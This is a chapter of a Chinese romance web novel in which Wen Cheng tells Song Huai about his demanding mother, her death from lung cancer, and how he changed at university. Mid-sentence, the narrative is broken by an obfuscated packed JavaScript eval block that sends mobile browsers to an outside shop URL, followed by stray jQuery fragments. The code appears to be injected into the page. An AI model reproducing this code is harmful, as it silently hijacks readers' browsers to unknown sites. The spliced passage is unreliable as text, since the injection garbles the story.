趁着要开口的勇气，地铁到站宋槐就加快步伐往他家走，坐电梯上楼，站在门口平复呼吸。
终于，抬手敲门。
“温诚。”
门从里面打开，“进来。”
天花板那两盏形状诡异的灯，宋槐不喜欢，却没想到它们发出的光色异常好看，鸡蛋黄色掺杂米白，温暖柔和。
椭圆形光影铺在温诚身上，他应该也刚进门，携带室外寒气，灰色针织衫显出肩颈线条，再配上疏朗眉眼，像意气风发的少年，到底是人穿衣服，而不是衣服穿人。
“给你买的。”
宋槐把一大袋东西放茶几上，牛皮纸在窸窣声中褶皱塌陷。
他打开袋子看，一种种拿出来，“送我的？”
“嗯。”宋槐裹紧外套，握着冻红的手，“那个，我想问你个问题。”
他笑眼看宋槐，“我就知道。”
“你知道什么。”
“不然怎么会平白无故给我买东西。”
“我认真的。”
“.....你问。”
“上次在办公室说，你二十几年也有挫折，如果我愿意听，你会告诉我。”
“故事很长，不考虑坐下？”温诚非常绅士的抬手，示意宋槐坐，然而下一秒就恢复本性，把她硬生生拽到沙发上，倒了两杯热茶，刚煮好的大麦苦荞，
“你想听，那我就说。”
-
温诚坦坦荡荡，从不回避过去。
“有些美好只是表面，我的人生怎么可能一帆风顺。”这是温诚第一句话。
单从投胎来看，他确实比宋槐幸运太多太多，生在和平殷实的家庭。
老家在华州，近几年被评新一线城市，爸妈都在国企上班，工资稳定收入较高还有补贴，父母对他好，以他为骄傲。
从幼儿园开始，他就显得出众，无论样貌或品行，都和同班同学格格不入。
韩利初也爱自己儿子，上学前逢年过节，亲戚邻居就给温诚买各种零食，还有玩具汽车。90年代末，玩具花样特别多，汽车十有八九都是变形金刚，他最喜欢擎天柱。还有压岁钱，为此韩利初专门给他办了张卡，把每笔钱都攒起来。
父母给予期望总有压力接踵而至，韩利初辞职在家教育他，她总说，给你买这么多东西，在你身上花这么多钱，你可必须给我好好学习，必须要考名牌大学，不然，你对得起我们吗？
温政国觉得把孩子逼太紧，想和韩利初商量教育理念，他想带儿子多出去走走，逛便名山大川，读万卷书和行万里路一样重要，提议却被妻子驳回。
韩利初是典型说一不二的女强人，不允许别人质疑，温政国工作忙，也慢慢懒得纠正。
母亲对他只有减法，每当孩子的行为出现一点差池，就会扣分，然后抱怨他有多么不懂事，说自己有多命苦。
“没自制力的孩子，没上进心的孩子。”
这是韩利初的评价。
他就是个不到十二的男孩儿，最多动的时候，对这个世界充满好奇，他根本不理解韩利初为什么那样，他开始哭闹，换来被关书房里静静思过，写完检讨书才能出。
为了培养温诚能静心，韩利初请书法老师一对一教他，一张半熟宣纸，笔、墨、砚，让他站那儿拧住笔尖画圆圈，一圈套一圈，不能喊累，手不能抖，画得不圆就罚站。
这练功夫很磨人的，稍有不耐，心里就和爬满蚂蚁一样难受煎熬。
后来韩利初说，还不都是因为你，我才会主动放弃好工作，放弃升职加薪的机会。
幼小的心灵被蒙上一层重重的负罪感。
在学校他不敢抬头，一本本的卷子，一套套的练习册，把他埋起来，像个书呆子一样刷题，中指和小拇指那块起茧子，写多了会疼。
他一直都是别人家的孩子。
第三名不够努力，第二名粗心了，第一名才是他必须要争取的。
这句话像笼子一样，把温诚死死禁锢。
他活在别人嘴里。
始终压抑自己。
-
小圆几上那杯大麦茶从滚烫变得温热，水蒸气渐渐消失。
“那后来呢。”许久，宋槐开口。
“按照人生的轨迹，别人给我规划好的路线，中考，高考，上名牌大学，考研，还有各种证书。”
水到渠成的人生轨迹，大部分父母心中最佳选择，他不负所望，一路重点，从初中到高中。
可高考那年，韩利初确诊肺癌，症结可能为常年情绪不稳定，吸入油烟中巴豆醛等有害物质，加上本身家族基因。
从前他最烦韩利初说教，好像自己和母亲根本没血缘关系，否则怎么会看他哪哪都不顺眼？
高考后温诚有todolist，第一条就是——离开家，离开韩利初，去一个自由的城市定居。
当韩利初真正要永远离开，温诚才意识到自己多爱她，有些亲情像空气，你习惯她在生活中，因为太普通所以不觉得奢侈，真正消失后，你会缺氧，窒息，你会发现——她重要，离不开，密不可分。
寡淡枯燥的学习生涯，硬生生被抹上戏剧色彩，温诚坐在病房外只能感到无助，眼看着即将熬出头的人生，又马上坠入黑暗。
回想韩利初躺在病床上，平时那么生龙活虎的人，竟然露出无比憔悴一面，所有冲击和割裂都无法变成后悔药，让他回到过去。
小时候总以为人在慢慢长大，直到温诚借钱时发现，长大是一瞬间。
家里所有存款都交给医院，请北京甚至国外私人医生靶向治疗，花钱如流水，每天好几万，更像往壁炉里添柴火，到最后只能四处借，温诚主动挨家挨户的跑，打电话问亲戚，朋友甚至老师借钱。
他母亲是严厉，不会教育孩子，但她也没做错什么。
谁都没错，谁都不是坏人，人性是复杂的，有沟壑，每个人都有缺点。
医院手术就像吸血鬼，把人的精气神儿全吞没了。
他从没见过那样的韩利初，瘦的跟什么似的，说话也气若游丝，头发全没了，明明那么好强又严厉的一个女人，现在只剩颓败，被病痛折磨的，他多希望她再像以前一样，哪怕骂他打他。
韩利初真的要去世了，温诚逼迫自己慢慢接受现实。
彻夜难眠，他快疯了。
他每睁开眼，就在想，这是不是韩利初在世上的最后一天。
日子是掰着指头过的。
日子是倒着数的。
“后来我妈不想治了，要我爸带她环游世界，哪怕死在外面也比病床上强，我妈就是这么个人，要
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14184167|149140||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
强，大气，看得开。”
韩利初不愿意狼狈死去，想临终前体验生命，哪怕已经脆弱不堪。
流星短暂灿烂后终会坠落，韩利初在飞机上咽了最后一口气，陷在座椅中像睡着一样。
韩利初去世当日，温诚特别淡定，完全不像个高中生。陪着他爸联系火葬场，办白事儿的地方，给亲戚发消息，说韩利初走了，请他们参加葬礼。
葬礼那天，他的一举一动全被看在眼里。昔日父母、亲戚口中的骄傲，现在也成了泥泞里的样子，在生活池沼中拼死挣扎。大家都夸他懂事儿，又觉得这孩子可怜。
他脸上没见一滴泪，一米八几的衣服架子，架起那身黑衣服，在桌子之间来回走，安排这个安排那个。
从骨灰盒到墓地墓碑，他全帮着招呼，挺直脊背，站在银杏叶堆里，在炎热的酷暑里，忙活了一天。
白天忙完晚上回学校准备高考。
那会儿距离高考还有三十来天。
学校安排高考前一周放假，温政国再次拜托亲戚，让温诚在他舅舅家待几天，就是那会，他明白什么叫寄人篱下，哪怕舅舅对他不错，可人心里总有个疙瘩。
他不会麻烦舅舅任何事情，每天骑车狂奔，披帛月色早出晚归，吃饭在食堂，学习在教室，只有睡觉时候用舅舅家书房的小床。
年轻的灵魂在成人那年发生变故，硬是扛起一个家庭的悲剧，身上有很难见到的冷静，以及看透苦难的老成。
高考后，温诚收拾行李去大学住校，温政国拍拍他的肩，“最难熬的日子都挺过去了，说明没任何事儿能打败你，放心吧，日子会越来越好的，别让悲伤困一辈子，你妈妈在天上不愿意看自己儿子颓废，你要活得开心，你可以参加各种社团，和老师研究论文打比赛，当然也可以旷课去打篮球，看全国各地乃至全世界的风景，唯一要警告你的，就是做个干净纯粹的人，对人，对事儿，永远热情澄澈。”
“相信你明年来见我一定大变样，你妈妈会很高兴的。”
温诚告诉宋槐，就是在大学期间，他性格大变。
他会把身边一草一木，甚至每一寸空气都当作韩利初的灵魂，他以实际行动告诉韩利初，他很好，非常努力上进。
刚经历阴暗会无限向往热烈，且极具生命力的东西。
比如火红的夕阳，夜晚的篝火，雨过天晴后那片彩虹，还有垃圾桶边翻残羹冷炙的流浪猫。
大三那年温诚专门体验了华山，身上捆几根绳索，在九十度垂直的峭壁间攀岩，向下望，就是令人粉身碎骨的万丈悬崖，“我爬到半中间还不知死活的展开双臂，身体向后仰，站悬崖边拍照，如果绳索断开，现在墓碑早让我爸打扫过n次了。”
“但人生厚度就是这样增加的，一辈子很短，别让自己白活。”
为自己，也为韩利初，替她看看这世界。
替韩利初圆满短暂又遗憾的四十年。
宋槐听得入神儿，同情他的过去，也感慨他的坦诚，有勇气把自己的人生剖解，形成清晰的框架结构被宋槐一览无余，包括性格弧度，生命拐点。
点，线，面，组合成立体鲜活的他。
人生短短几十年，每一个经历就好比画作之上的笔触，生命的底色由人们勾描，或浓烈，或沉重，或洒脱，或鲜活。